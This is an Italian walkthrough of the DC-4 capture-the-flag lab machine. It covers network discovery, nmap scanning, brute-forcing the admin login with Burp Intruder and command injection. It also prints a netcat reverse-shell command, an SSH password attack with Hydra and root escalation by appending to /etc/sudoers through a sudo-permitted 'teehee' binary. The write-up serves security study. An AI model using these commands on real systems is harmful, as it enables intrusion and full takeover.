REPORT DC-4

1-individuazione target(tool netdiscover)

```
192.168.1.14    08:00:27:64:5c:7a      5     300  PCS Systemtechnik GmbH
```

2-Scansione dei servizio (tool nmap)

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
|   2048 8d:60:57:06:6c:27:e0:2f:76:2c:e6:42:c0:01:ba:25 (RSA)
|   256 e7:83:8c:d7:bb:84:f3:2e:e8:a2:5f:79:6f:8e:19:30 (ECDSA)
|_  256 fd:39:47:8a:5e:58:33:99:73:73:9e:22:7f:90:4f:4b (ED25519)
80/tcp open  http    nginx 1.15.10
| http-methods:
|_  Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.15.10
|_http-title: System Tools
MAC Address: 08:00:27:64:5C:7A (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

3- METODO DI BYPASS LOGIN (TOOL BURPSUITE)

Passo n1

Catturare la richiesta utilizzando la funzione " intercept "

Passo n2

Inviamo la richiesta alla funzione intruder, selezioniamo il payload, scegliamo la wordlist e avviamo l'attacco. Una volta trovata la password riusciamo ad avere accesso tramite l'account admin.

Passo n3

Una volta entrati ci appare una pagina dove possiamo eseguire alcuni comandi di sistema tipo " ls -l ", allora decidiamo di intercettare nuovamente la richiesta e inviare questa volta la richiesta alla funzione Repeater di Burp per vedere se è possibile l'iniezione di altri comandi, ci rediamo conto che sul sistema remoto è installato netcat quindi decidiamo di provare a caricare una reverse shell per avere una reverse shell digitando:

nc -nv ip locale porta -e /bin/bash

Passo 4

Stabilizzazione della shell tramite il metodo Pyton tramite il comando:

python -c 'import pty;pty.spawn("/bin/bash")'

4-Crak password utenti (Tool Hydra)

Una volta stabilizzata la shell controllando i vari file troviamo 3 nomi utente e una lista di password cosi procediamo con il cracking mediante il tool hydra "Hydra -l jim -P pass.txt ssh://192.168.1.14 -V -I "

5-Privilege Escalation

Una volta eseguito il craking della password accediamo tramite ssh e controllando i vari file sul sistema troviamo una mail mandata dall’ admin. Spostandoci in /Var troviamo un messaggio mandato da Charles dove indicava la propria password a jim. Allora dopo esserci loggati, con il comando "sudo -l" scopriamo che questo utente può eseguire il comando "teehee" come root senza il bisogno della password dell' admin. Il comando teehee simile al comando "tee" che prende il contenuto dello standard input, lo stampa a schermo e contemporaneamente lo scrive su uno o più file. Aprendo il manuale d'aiuto di questo comando notiamo che c'è l'opzione -a (append) che ci consente di scrivere su un qualsiasi file; da qua deduciamo allora che possiamo inserire una stringa all'interno del percorso /etc/sudoesr quindi scrivendo:

echo "charles ALL=(ALL:ALL)ALL" | sudo teehee -a /etc/sudoers

riusciamo a dare tutti i permessi da root a charles. Infine, digitiamo la stringa per diventare amministratori " sudo su ", accediamo con la password di charles trovata in precedenza e, così facdendo, riusciamo a diventare root. Ci dirigiamo nella cartella del filesystem " root " e qui troviamo l’unico flag che c'è all' interno di questa macchina.

Abbiamo cosi concluso il privilege escalation !!